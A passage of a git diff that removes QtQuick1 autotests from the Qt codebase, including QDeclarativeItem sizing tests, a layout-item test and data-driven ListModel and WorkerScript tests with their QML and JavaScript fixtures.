qreal(210)); - QCOMPARE(item->height(), qreal(50)); - QCOMPARE(item->x(), qreal(75)); - - delete canvas; -} - -// QTBUG-12722 -void tst_QDeclarativeItem::childrenRectBug3() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/childrenRectBug3.qml")); - canvas->show(); - - //don't crash on delete - delete canvas; -} - -// QTBUG-13893 -void tst_QDeclarativeItem::transformCrash() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/transformCrash.qml")); - canvas->show(); - - delete canvas; -} - -void tst_QDeclarativeItem::implicitSize() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/implicitsize.qml")); - canvas->show(); - - QDeclarativeItem *item = qobject_cast(canvas->rootObject()); - QVERIFY(item); - QCOMPARE(item->width(), qreal(80)); - QCOMPARE(item->height(), qreal(60)); - - QCOMPARE(item->implicitWidth(), qreal(200)); - QCOMPARE(item->implicitHeight(), qreal(100)); - - QMetaObject::invokeMethod(item, "resetSize"); - - QCOMPARE(item->width(), qreal(200)); - QCOMPARE(item->height(), qreal(100)); - - QMetaObject::invokeMethod(item, "changeImplicit"); - - QCOMPARE(item->implicitWidth(), qreal(150)); - QCOMPARE(item->implicitHeight(), qreal(80)); - QCOMPARE(item->width(), qreal(150)); - QCOMPARE(item->height(), qreal(80)); - - delete canvas; -} - -void tst_QDeclarativeItem::testQtQuick11Attributes() -{ - QFETCH(QString, code); - QFETCH(QString, warning); - QFETCH(QString, error); - - QDeclarativeEngine engine; - QObject *obj; - - QDeclarativeComponent valid(&engine); - valid.setData("import QtQuick 1.1; Item { " + code.toUtf8() + " }", QUrl("")); - obj = valid.create(); - QVERIFY(obj); - QVERIFY(valid.errorString().isEmpty()); - delete obj; - - QDeclarativeComponent invalid(&engine); - invalid.setData("import QtQuick 1.0; Item { " + code.toUtf8() + " }", QUrl("")); - QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); - obj = invalid.create(); - QCOMPARE(invalid.errorString(), error); - delete obj; -} - -void tst_QDeclarativeItem::testQtQuick11Attributes_data() -{ - QTest::addColumn("code"); - QTest::addColumn("warning"); - QTest::addColumn("error"); - - QTest::newRow("implicitWidth") << "implicitWidth: 100" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"Item.implicitWidth\" is not available in QtQuick 1.0.\n"; - - QTest::newRow("implicitHeight") << "implicitHeight: 100" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"Item.implicitHeight\" is not available in QtQuick 1.0.\n"; - - QTest::newRow("onImplicitWidthChanged") << "onImplicitWidthChanged: x" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"Item.onImplicitWidthChanged\" is not available in QtQuick 1.0.\n"; - - QTest::newRow("onImplicitHeightChanged") << "onImplicitHeightChanged: x" - << "QDeclarativeComponent: Component is not ready" - << ":1 \"Item.onImplicitHeightChanged\" is not available in QtQuick 1.0.\n"; -} - -void tst_QDeclarativeItem::qtbug_16871() -{ - QDeclarativeComponent component(&engine, SRCDIR "/data/qtbug_16871.qml"); - QObject *o = component.create(); - QVERIFY(o != 0); - delete o; -} - -void tst_QDeclarativeItem::qtbug_21045() -{ - QDeclarativeComponent component(&engine); - QGraphicsScene scene; - component.setData("import QtQuick 1.1\nItem{visible: false; focus: true}", QUrl::fromLocalFile("file:")); - QObject *o = component.create(); - QDeclarativeItem* i = qobject_cast(o); - QVERIFY(i); - scene.addItem(i); - QVERIFY(!i->hasActiveFocus()); -} - -QTEST_MAIN(tst_QDeclarativeItem) - -#include "tst_qdeclarativeitem.moc" diff --git a/tests/auto/qtquick1/qdeclarativelayoutitem/data/layoutItem.qml b/tests/auto/qtquick1/qdeclarativelayoutitem/data/layoutItem.qml deleted file mode 100644 index 349713397c..0000000000 --- a/tests/auto/qtquick1/qdeclarativelayoutitem/data/layoutItem.qml +++ /dev/null @@ -1,9 +0,0 @@ -import QtQuick 1.0 - -LayoutItem {//Sized by the layout - id: resizable - objectName: "resizable" - minimumSize: "100x100" - maximumSize: "300x300" - preferredSize: "200x200" -} diff --git a/tests/auto/qtquick1/qdeclarativelayoutitem/qdeclarativelayoutitem.pro b/tests/auto/qtquick1/qdeclarativelayoutitem/qdeclarativelayoutitem.pro deleted file mode 100644 index 1471884752..0000000000 --- a/tests/auto/qtquick1/qdeclarativelayoutitem/qdeclarativelayoutitem.pro +++ /dev/null @@ -1,9 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativelayoutitem -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativelayoutitem.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -QT += core-private gui-private widgets-private declarative-private qtquick1-private testlib diff --git a/tests/auto/qtquick1/qdeclarativelayoutitem/tst_qdeclarativelayoutitem.cpp b/tests/auto/qtquick1/qdeclarativelayoutitem/tst_qdeclarativelayoutitem.cpp deleted file mode 100644 index 59ec258809..0000000000 --- a/tests/auto/qtquick1/qdeclarativelayoutitem/tst_qdeclarativelayoutitem.cpp +++ /dev/null @@ -1,119 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include -#include - -class tst_qdeclarativelayoutitem : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativelayoutitem(); - -private slots: - void test_resizing(); -}; - -tst_qdeclarativelayoutitem::tst_qdeclarativelayoutitem() -{ -} - -void tst_qdeclarativelayoutitem::test_resizing() -{ - //Create Layout (must be done in C++) - QGraphicsView view; - QGraphicsScene scene; - QGraphicsWidget *widget = new QGraphicsWidget(); - QGraphicsLinearLayout *layout = new QGraphicsLinearLayout(); - widget->setLayout(layout); - scene.addItem(widget); - view.setScene(&scene); - //Add the QML snippet into the layout - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/layoutItem.qml")); - QDeclarative1LayoutItem* obj = static_cast(c.create()); - QVERIFY(obj); - QCOMPARE(obj->minimumSize(), QSizeF(100,100)); - QCOMPARE(obj->preferredSize(), QSizeF(200,200)); - QCOMPARE(obj->maximumSize(), QSizeF(300,300)); - - layout->addItem(obj); - layout->setContentsMargins(0,0,0,0); - widget->setContentsMargins(0,0,0,0); - view.show(); - - QVERIFY(obj!= 0); - - widget->setGeometry(QRectF(0,0, 400,400)); - QCOMPARE(obj->width(), 300.0); - QCOMPARE(obj->height(), 300.0); - - widget->setGeometry(QRectF(0,0, 300,300)); - QCOMPARE(obj->width(), 300.0); - QCOMPARE(obj->height(), 300.0); - - widget->setGeometry(QRectF(0,0, 200,200)); - QCOMPARE(obj->width(), 200.0); - QCOMPARE(obj->height(), 200.0); - - widget->setGeometry(QRectF(0,0, 100,100)); - QCOMPARE(obj->width(), 100.0); - QCOMPARE(obj->height(), 100.0); - - widget->setGeometry(QRectF(0,0, 40,40)); - QCOMPARE(obj->width(), 100.0); - QCOMPARE(obj->height(), 100.0); - - widget->setGeometry(QRectF(0,0, 412,112)); - QCOMPARE(obj->width(), 300.0); - QCOMPARE(obj->height(), 112.0); -} - - -QTEST_MAIN(tst_qdeclarativelayoutitem) - -#include "tst_qdeclarativelayoutitem.moc" diff --git a/tests/auto/qtquick1/qdeclarativelistmodel/data/enumerate.qml b/tests/auto/qtquick1/qdeclarativelistmodel/data/enumerate.qml deleted file mode 100644 index 93697f3307..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistmodel/data/enumerate.qml +++ /dev/null @@ -1,24 +0,0 @@ -import QtQuick 1.0 - -Item { - property string result - - ListModel { - id: model - - ListElement { - val1: 1 - val2: 2 - val3: "str" - val4: false - val5: true - } - } - - Component.onCompleted: { - var element = model.get(0); - - for (var i in element) - result += i+"="+element[i]+(element[i] ? "Y" : "N")+":"; - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistmodel/data/model.qml b/tests/auto/qtquick1/qdeclarativelistmodel/data/model.qml deleted file mode 100644 index bfd547ed32..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistmodel/data/model.qml +++ /dev/null @@ -1,22 +0,0 @@ -import QtQuick 1.0 - -Item { - id: item - property variant model - property bool done: false - property variant result - - function evalExpressionViaWorker(commands) { - done = false - worker.sendMessage({'commands': commands, 'model': model}) - } - - WorkerScript { - id: worker - source: "script.js" - onMessage: { - item.result = messageObject.result - item.done = true - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistmodel/data/multipleroles.qml b/tests/auto/qtquick1/qdeclarativelistmodel/data/multipleroles.qml deleted file mode 100644 index cc6d9de8a0..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistmodel/data/multipleroles.qml +++ /dev/null @@ -1,25 +0,0 @@ -import QtQuick 1.0 -ListView { - width: 100 - height: 250 - delegate: Rectangle { - width: 100 - height: 50 - color: black ? "black": "white" - } - model: ListModel { - objectName: "listModel" - ListElement { - black: false - rounded: false - } - ListElement { - black: true - rounded: false - } - ListElement { - black: true - rounded: false - } - } -} diff --git a/tests/auto/qtquick1/qdeclarativelistmodel/data/script.js b/tests/auto/qtquick1/qdeclarativelistmodel/data/script.js deleted file mode 100644 index 66a4acb8a8..0000000000 --- a/tests/auto/qtquick1/qdeclarativelistmodel/data/script.js +++ /dev/null @@ -1,13 +0,0 @@ -WorkerScript.onMessage = function(msg) { - var result = null - try { - for (var i=0; i -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include - -Q_DECLARE_METATYPE(QList) -Q_DECLARE_METATYPE(QList) - -class tst_qdeclarativelistmodel : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativelistmodel() {} - -private: - int roleFromName(const QDeclarative1ListModel *model, const QString &roleName); - QDeclarativeItem *createWorkerTest(QDeclarativeEngine *eng, QDeclarativeComponent *component, QDeclarative1ListModel *model); - void waitForWorker(QDeclarativeItem *item); - -private slots: - void static_types(); - void static_types_data(); - void static_i18n(); - void static_nestedElements(); - void static_nestedElements_data(); - void dynamic_data(); - void dynamic(); - void dynamic_worker_data(); - void dynamic_worker(); - void dynamic_worker_sync_data(); - void dynamic_worker_sync(); - void convertNestedToFlat_fail(); - void convertNestedToFlat_fail_data(); - void convertNestedToFlat_ok(); - void convertNestedToFlat_ok_data(); - void enumerate(); - void error_data(); - void error(); - void syncError(); - void set(); - void get(); - void get_data(); - void get_worker(); - void get_worker_data(); - void get_nested(); - void get_nested_data(); - void crash_model_with_multiple_roles(); - void set_model_cache(); - void property_changes(); - void property_changes_data(); - void property_changes_worker(); - void property_changes_worker_data(); - void clear(); -}; - -int tst_qdeclarativelistmodel::roleFromName(const QDeclarative1ListModel *model, const QString &roleName) -{ - QList roles = model->roles(); - for (int i=0; itoString(roles[i]) == roleName) - return roles[i]; - } - return -1; -} - -QDeclarativeItem *tst_qdeclarativelistmodel::createWorkerTest(QDeclarativeEngine *eng, QDeclarativeComponent *component, QDeclarative1ListModel *model) -{ - QDeclarativeItem *item = qobject_cast(component->create()); - QDeclarativeEngine::setContextForObject(model, eng->rootContext()); - if (item) - item->setProperty("model", qVariantFromValue(model)); - return item; -} - -void tst_qdeclarativelistmodel::waitForWorker(QDeclarativeItem *item) -{ - QEventLoop loop; - QTimer timer; - timer.setSingleShot(true); - connect(&timer, SIGNAL(timeout()), &loop, SLOT(quit())); - - QDeclarativeProperty prop(item, "done"); - QVERIFY(prop.isValid()); - QVERIFY(prop.connectNotifySignal(&loop, SLOT(quit()))); - timer.start(10000); - loop.exec(); - QVERIFY(timer.isActive()); -} - -void tst_qdeclarativelistmodel::static_types_data() -{ - QTest::addColumn("qml"); - QTest::addColumn("value"); - - QTest::newRow("string") - << "ListElement { foo: \"bar\" }" - << QVariant(QString("bar")); - - QTest::newRow("real") - << "ListElement { foo: 10.5 }" - << QVariant(10.5); - - QTest::newRow("real0") - << "ListElement { foo: 0 }" - << QVariant(double(0)); - - QTest::newRow("bool") - << "ListElement { foo: false }" - << QVariant(false); - - QTest::newRow("bool") - << "ListElement { foo: true }" - << QVariant(true); - - QTest::newRow("enum") - << "ListElement { foo: Text.AlignHCenter }" - << QVariant(double(QDeclarativeText::AlignHCenter)); -} - -void tst_qdeclarativelistmodel::static_types() -{ - QFETCH(QString, qml); - QFETCH(QVariant, value); - - qml = "import QtQuick 1.0\nItem { property variant test: model.get(0).foo; ListModel { id: model; " + qml + " } }"; - - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - component.setData(qml.toUtf8(), - QUrl::fromLocalFile(QString("dummy.qml"))); - - QVERIFY(!component.isError()); - - QObject *obj = component.create(); - QVERIFY(obj != 0); - - QVariant actual = obj->property("test"); - - QCOMPARE(actual, value); - QCOMPARE(actual.toString(), value.toString()); - - delete obj; -} - -void tst_qdeclarativelistmodel::static_i18n() -{ - QString expect = QString::fromUtf8("na\303\257ve"); - - QString componentStr = "import QtQuick 1.0\nItem { property string prop1: model.get(0).prop1; property string prop2: model.get(0).prop2; ListModel { id: model; ListElement { prop1: \""+expect+"\"; prop2: QT_TR_NOOP(\""+expect+"\") } } }"; - QDeclarativeEngine engine; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toUtf8(), QUrl::fromLocalFile("")); - QObject *obj = component.create(); - QVERIFY(obj != 0); - QString prop1 = obj->property("prop1").toString(); - QCOMPARE(prop1,expect); - QString prop2 = obj->property("prop2").toString(); - QCOMPARE(prop2,expect); // (no, not translated, QT_TR_NOOP is a no-op) - delete obj; -} - -void tst_qdeclarativelistmodel::static_nestedElements() -{ - QFETCH(int, elementCount); - - QStringList elements; - for (int i=0; i(component.create()); - QVERIFY(obj != 0); - - QVariant count = obj->property("count"); - QCOMPARE(count.type(), QVariant::Int); - QCOMPARE(count.toInt(), elementCount); - - delete obj; -} - -void tst_qdeclarativelistmodel::static_nestedElements_data() -{ - QTest::addColumn("elementCount"); - - QTest::newRow("0 items") << 0; - QTest::newRow("1 item") << 1; - QTest::newRow("2 items") << 2; - QTest::newRow("many items") << 5; -} - -void tst_qdeclarativelistmodel::dynamic_data() -{ - QTest::addColumn("script"); - QTest::addColumn("result"); - QTest::addColumn("warning"); - - // Simple flat model - - QTest::newRow("count") << "count" << 0 << ""; - - QTest::newRow("get1") << "{get(0) === undefined}" << 1 << ""; - QTest::newRow("get2") << "{get(-1) === undefined}" << 1 << ""; - QTest::newRow("get3") << "{append({'foo':123});get(0) != undefined}" << 1 << ""; - QTest::newRow("get4") << "{append({'foo':123});get(0).foo}" << 123 << ""; - - QTest::newRow("get-modify1") << "{append({'foo':123,'bar':456});get(0).foo = 333;get(0).foo}" << 333 << ""; - QTest::newRow("get-modify2") << "{append({'z':1});append({'foo':123,'bar':456});get(1).bar = 999;get(1).bar}" << 999 << ""; - - QTest::newRow("append1") << "{append({'foo':123});count}" << 1 << ""; - QTest::newRow("append2") << "{append({'foo':123,'bar':456});count}" << 1 << ""; - QTest::newRow("append3a") << "{append({'foo':123});append({'foo':456});get(0).foo}" << 123 << ""; - QTest::newRow("append3b") << "{append({'foo':123});append({'foo':456});get(1).foo}" << 456 << ""; - QTest::newRow("append4a") << "{append(123)}" << 0 << ": QML ListModel: append: value is not an object"; - QTest::newRow("append4b") << "{append([1,2,3])}" << 0 << ": QML ListModel: append: value is not an object"; - - QTest::newRow("clear1") << "{append({'foo':456});clear();count}" << 0 << ""; - QTest::newRow("clear2") << "{append({'foo':123});append({'foo':456});clear();count}" << 0 << ""; - QTest::newRow("clear3") << "{append({'foo':123});clear()}" << 0 << ""; - - QTest::newRow("remove1") << "{append({'foo':123});remove(0);count}" << 0 << ""; - QTest::newRow("remove2a") << "{append({'foo':123});append({'foo':456});remove(0);count}" << 1 << ""; - QTest::newRow("remove2b") << "{append({'foo':123});append({'foo':456});remove(0);get(0).foo}" << 456 << ""; - QTest::newRow("remove2c") << "{append({'foo':123});append({'foo':456});remove(1);get(0).foo}" << 123 << ""; - QTest::newRow("remove3") << "{append({'foo':123});remove(0)}" << 0 << ""; - QTest::newRow("remove3a") << "{append({'foo':123});remove(-1);count}" << 1 << ": QML ListModel: remove: index -1 out of range"; - QTest::newRow("remove4a") << "{remove(0)}" << 0 << ": QML ListModel: remove: index 0 out of range"; - QTest::newRow("remove4b") << "{append({'foo':123});remove(0);remove(0);count}" << 0 << ": QML ListModel: remove: index 0 out of range"; - QTest::newRow("remove4c") << "{append({'foo':123});remove(1);count}" << 1 << ": QML ListModel: remove: index 1 out of range"; - - QTest::newRow("insert1") << "{insert(0,{'foo':123});count}" << 1 << ""; - QTest::newRow("insert2") << "{insert(1,{'foo':123});count}" << 0 << ": QML ListModel: insert: index 1 out of range"; - QTest::newRow("insert3a") << "{append({'foo':123});insert(1,{'foo':456});count}" << 2 << ""; - QTest::newRow("insert3b") << "{append({'foo':123});insert(1,{'foo':456});get(0).foo}" << 123 << ""; - QTest::newRow("insert3c") << "{append({'foo':123});insert(1,{'foo':456});get(1).foo}" << 456 << ""; - QTest::newRow("insert3d") << "{append({'foo':123});insert(0,{'foo':456});get(0).foo}" << 456 << ""; - QTest::newRow("insert3e") << "{append({'foo':123});insert(0,{'foo':456});get(1).foo}" << 123 << ""; - QTest::newRow("insert4") << "{append({'foo':123});insert(-1,{'foo':456});count}" << 1 << ": QML ListModel: insert: index -1 out of range"; - QTest::newRow("insert5a") << "{insert(0,123)}" << 0 << ": QML ListModel: insert: value is not an object"; - QTest::newRow("insert5b") << "{insert(0,[1,2,3])}" << 0 << ": QML ListModel: insert: value is not an object"; - - QTest::newRow("set1") << "{append({'foo':123});set(0,{'foo':456});count}" << 1 << ""; - QTest::newRow("set2") << "{append({'foo':123});set(0,{'foo':456});get(0).foo}" << 456 << ""; - QTest::newRow("set3a") << "{append({'foo':123,'bar':456});set(0,{'foo':999});get(0).foo}" << 999 << ""; - QTest::newRow("set3b") << "{append({'foo':123,'bar':456});set(0,{'foo':999});get(0).bar}" << 456 << ""; - QTest::newRow("set4a") << "{set(0,{'foo':456});count}" << 1 << ""; - QTest::newRow("set4c") << "{set(-1,{'foo':456})}" << 0 << ": QML ListModel: set: index -1 out of range"; - QTest::newRow("set5a") << "{append({'foo':123,'bar':456});set(0,123);count}" << 1 << ": QML ListModel: set: value is not an object"; - QTest::newRow("set5b") << "{append({'foo':123,'bar':456});set(0,[1,2,3]);count}" << 1 << ": QML ListModel: set: value is not an object"; - QTest::newRow("set6") << "{append({'foo':123});set(1,{'foo':456});count}" << 2 << ""; - - QTest::newRow("setprop1") << "{append({'foo':123});setProperty(0,'foo',456);count}" << 1 << ""; - QTest::newRow("setprop2") << "{append({'foo':123});setProperty(0,'foo',456);get(0).foo}" << 456 << ""; - QTest::newRow("setprop3a") << "{append({'foo':123,'bar':456});setProperty(0,'foo',999);get(0).foo}" << 999 << ""; - QTest::newRow("setprop3b") << "{append({'foo':123,'bar':456});setProperty(0,'foo',999);get(0).bar}" << 456 << ""; - QTest::newRow("setprop4a") << "{setProperty(0,'foo',456)}" << 0 << ": QML ListModel: set: index 0 out of range"; - QTest::newRow("setprop4b") << "{setProperty(-1,'foo',456)}" << 0 << ": QML ListModel: set: index -1 out of range"; - QTest::newRow("setprop4c") << "{append({'foo':123,'bar':456});setProperty(1,'foo',456);count}" << 1 << ": QML ListModel: set: index 1 out of range"; - QTest::newRow("setprop5") << "{append({'foo':123,'bar':456});append({'foo':111});setProperty(1,'bar',222);get(1).bar}" << 222 << ""; - - QTest::newRow("move1a") << "{append({'foo':123});append({'foo':456});move(0,1,1);count}" << 2 << ""; - QTest::newRow("move1b") << "{append({'foo':123});append({'foo':456});move(0,1,1);get(0).foo}" << 456 << ""; - QTest::newRow("move1c") << "{append({'foo':123});append({'foo':456});move(0,1,1);get(1).foo}" << 123 << ""; - QTest::newRow("move1d") << "{append({'foo':123});append({'foo':456});move(1,0,1);get(0).foo}" << 456 << ""; - QTest::newRow("move1e") << "{append({'foo':123});append({'foo':456});move(1,0,1);get(1).foo}" << 123 << ""; - QTest::newRow("move2a") << "{append({'foo':123});append({'foo':456});append({'foo':789});move(0,1,2);count}" << 3 << ""; - QTest::newRow("move2b") << "{append({'foo':123});append({'foo':456});append({'foo':789});move(0,1,2);get(0).foo}" << 789 << ""; - QTest::newRow("move2c") << "{append({'foo':123});append({'foo':456});append({'foo':789});move(0,1,2);get(1).foo}" << 123 << ""; - QTest::newRow("move2d") << "{append({'foo':123});append({'foo':456});append({'foo':789});move(0,1,2);get(2).foo}" << 456 << ""; - QTest::newRow("move3a") << "{append({'foo':123});append({'foo':456});append({'foo':789});move(1,0,3);count}" << 3 << ": QML ListModel: move: out of range"; - QTest::newRow("move3b") << "{append({'foo':123});append({'foo':456});append({'foo':789});move(1,-1,1);count}" << 3 << ": QML ListModel: move: out of range"; - QTest::newRow("move3c") << "{append({'foo':123});append({'foo':456});append({'foo':789});move(1,0,-1);count}" << 3 << ": QML ListModel: move: out of range"; - QTest::newRow("move3d") << "{append({'foo':123});append({'foo':456});append({'foo':789});move(0,3,1);count}" << 3 << ": QML ListModel: move: out of range"; - - // Nested models - - QTest::newRow("nested-append1") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]});count}" << 1 << ""; - QTest::newRow("nested-append2") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]});get(0).bars.get(1).a}" << 2 << ""; - QTest::newRow("nested-append3") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]});get(0).bars.append({'a':4});get(0).bars.get(3).a}" << 4 << ""; - - QTest::newRow("nested-insert") << "{append({'foo':123});insert(0,{'bars':[{'a':1},{'b':2},{'c':3}]});get(0).bars.get(0).a}" << 1 << ""; - QTest::newRow("nested-set") << "{append({'foo':[{'x':1}]});set(0,{'foo':[{'x':123}]});get(0).foo.get(0).x}" << 123 << ""; - - QTest::newRow("nested-count") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]}); get(0).bars.count}" << 3 << ""; - QTest::newRow("nested-clear") << "{append({'foo':123,'bars':[{'a':1},{'a':2},{'a':3}]}); get(0).bars.clear(); get(0).bars.count}" << 0 << ""; -} - -void tst_qdeclarativelistmodel::dynamic() -{ - QFETCH(QString, script); - QFETCH(int, result); - QFETCH(QString, warning); - - QDeclarativeEngine engine; - QDeclarative1ListModel model; - QDeclarativeEngine::setContextForObject(&model,engine.rootContext()); - engine.rootContext()->setContextObject(&model); - QDeclarativeExpression e(engine.rootContext(), &model, script); - if (!warning.isEmpty()) - QTest::ignoreMessage(QtWarningMsg, warning.toLatin1()); - - QSignalSpy spyCount(&model, SIGNAL(countChanged())); - - int actual = e.evaluate().toInt(); - if (e.hasError()) - qDebug() << e.error(); // errors not expected - - QCOMPARE(actual,result); - - if (model.count() > 0) - QVERIFY(spyCount.count() > 0); -} - -void tst_qdeclarativelistmodel::dynamic_worker_data() -{ - dynamic_data(); -} - -void tst_qdeclarativelistmodel::dynamic_worker() -{ - QFETCH(QString, script); - QFETCH(int, result); - QFETCH(QString, warning); - - if (QByteArray(QTest::currentDataTag()).startsWith("nested")) - return; - - // This is same as dynamic() except it applies the test to a ListModel called - // from a WorkerScript (i.e. testing the internal FlatListModel that is created - // by the WorkerListModelAgent) - - QDeclarative1ListModel model; - QDeclarativeEngine eng; - QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); - QDeclarativeItem *item = createWorkerTest(&eng, &component, &model); - QVERIFY(item != 0); - - QSignalSpy spyCount(&model, SIGNAL(countChanged())); - - if (script[0] == QLatin1Char('{') && script[script.length()-1] == QLatin1Char('}')) - script = script.mid(1, script.length() - 2); - QVariantList operations; - foreach (const QString &s, script.split(';')) { - if (!s.isEmpty()) - operations << s; - } - - if (!warning.isEmpty()) - QTest::ignoreMessage(QtWarningMsg, warning.toLatin1()); - - QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker", - Q_ARG(QVariant, operations))); - waitForWorker(item); - QCOMPARE(QDeclarativeProperty(item, "result").read().toInt(), result); - - if (model.count() > 0) - QVERIFY(spyCount.count() > 0); - - delete item; - qApp->processEvents(); -} - -void tst_qdeclarativelistmodel::dynamic_worker_sync_data() -{ - dynamic_data(); -} - -void tst_qdeclarativelistmodel::dynamic_worker_sync() -{ - QFETCH(QString, script); - QFETCH(int, result); - QFETCH(QString, warning); - - // This is the same as dynamic_worker() except that it executes a set of list operations - // from the worker script, calls sync(), and tests the changes are reflected in the - // list in the main thread - - QDeclarative1ListModel model; - QDeclarativeEngine eng; - QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); - QDeclarativeItem *item = createWorkerTest(&eng, &component, &model); - QVERIFY(item != 0); - - if (script[0] == QLatin1Char('{') && script[script.length()-1] == QLatin1Char('}')) - script = script.mid(1, script.length() - 2); - QVariantList operations; - foreach (const QString &s, script.split(';')) { - if (!s.isEmpty()) - operations << s; - } - - if (!warning.isEmpty()) - QTest::ignoreMessage(QtWarningMsg, warning.toLatin1()); - - // execute a set of commands on the worker list model, then check the - // changes are reflected in the list model in the main thread - if (QByteArray(QTest::currentDataTag()).startsWith("nested")) - QTest::ignoreMessage(QtWarningMsg, ": QML ListModel: Cannot add list-type data when modifying or after modification from a worker script"); - - if (QByteArray(QTest::currentDataTag()).startsWith("nested-set")) - QTest::ignoreMessage(QtWarningMsg, ": QML ListModel: Cannot add list-type data when modifying or after modification from a worker script"); - - QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker", - Q_ARG(QVariant, operations.mid(0, operations.length()-1)))); - waitForWorker(item); - - QDeclarativeExpression e(eng.rootContext(), &model, operations.last().toString()); - if (!QByteArray(QTest::currentDataTag()).startsWith("nested")) - QCOMPARE(e.evaluate().toInt(), result); - - delete item; - qApp->processEvents(); -} - -#define RUNEVAL(object, string) \ - QVERIFY(QMetaObject::invokeMethod(object, "runEval", Q_ARG(QVariant, QString(string)))); - -inline QVariant runexpr(QDeclarativeEngine *engine, const QString &str) -{ - QDeclarativeExpression expr(engine->rootContext(), 0, str); - return expr.evaluate(); -} - -#define RUNEXPR(string) runexpr(&engine, QString(string)) - -void tst_qdeclarativelistmodel::convertNestedToFlat_fail() -{ - // If a model has nested data, it cannot be used at all from a worker script - - QFETCH(QString, script); - - QDeclarative1ListModel model; - QDeclarativeEngine eng; - QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); - QDeclarativeItem *item = createWorkerTest(&eng, &component, &model); - QVERIFY(item != 0); - - RUNEVAL(item, "model.append({foo: 123})"); - RUNEVAL(item, "model.append({foo: [{}, {}]})"); - - QCOMPARE(model.count(), 2); - - QTest::ignoreMessage(QtWarningMsg, ": QML ListModel: List contains list-type data and cannot be used from a worker script"); - QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker", Q_ARG(QVariant, script))); - waitForWorker(item); - - QCOMPARE(model.count(), 2); - - delete item; - qApp->processEvents(); -} - -void tst_qdeclarativelistmodel::convertNestedToFlat_fail_data() -{ - QTest::addColumn("script"); - - QTest::newRow("clear") << "clear()"; - QTest::newRow("remove") << "remove(0)"; - QTest::newRow("append") << "append({'x':1})"; - QTest::newRow("insert") << "insert(0, {'x':1})"; - QTest::newRow("set") << "set(0, {'foo':1})"; - QTest::newRow("setProperty") << "setProperty(0, 'foo', 1})"; - QTest::newRow("move") << "move(0, 1, 1})"; - QTest::newRow("get") << "get(0)"; -} - -void tst_qdeclarativelistmodel::convertNestedToFlat_ok() - -{ - // If a model only has plain data, it can be modified from a worker script. However, - // once the model is used from a worker script, it no longer accepts nested data - - QFETCH(QString, script); - - QDeclarative1ListModel model; - QDeclarativeEngine eng; - QDeclarativeComponent component(&eng, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); - QDeclarativeItem *item = createWorkerTest(&eng, &component, &model); - QVERIFY(item != 0); - - RUNEVAL(item, "model.append({foo: 123})"); - - QCOMPARE(model.count(), 1); - - QVERIFY(QMetaObject::invokeMethod(item, "evalExpressionViaWorker", Q_ARG(QVariant, script))); - waitForWorker(item); - - // can still add plain data - int count = model.count(); - - RUNEVAL(item, "model.append({foo: 123})"); - - QCOMPARE(model.count(), count+1); - - const char *warning = ": QML ListModel: Cannot add list-type data when modifying or after modification from a worker script"; - - QTest::ignoreMessage(QtWarningMsg, warning); - RUNEVAL(item, "model.append({foo: [{}, {}]})"); - - QTest::ignoreMessage(QtWarningMsg, warning); - RUNEVAL(item, "model.insert(0, {foo: [{}, {}]})"); - - QTest::ignoreMessage(QtWarningMsg, warning); - RUNEVAL(item, "model.set(0, {foo: [{}, {}]})"); - - QCOMPARE(model.count(), count+1); - - delete item; - 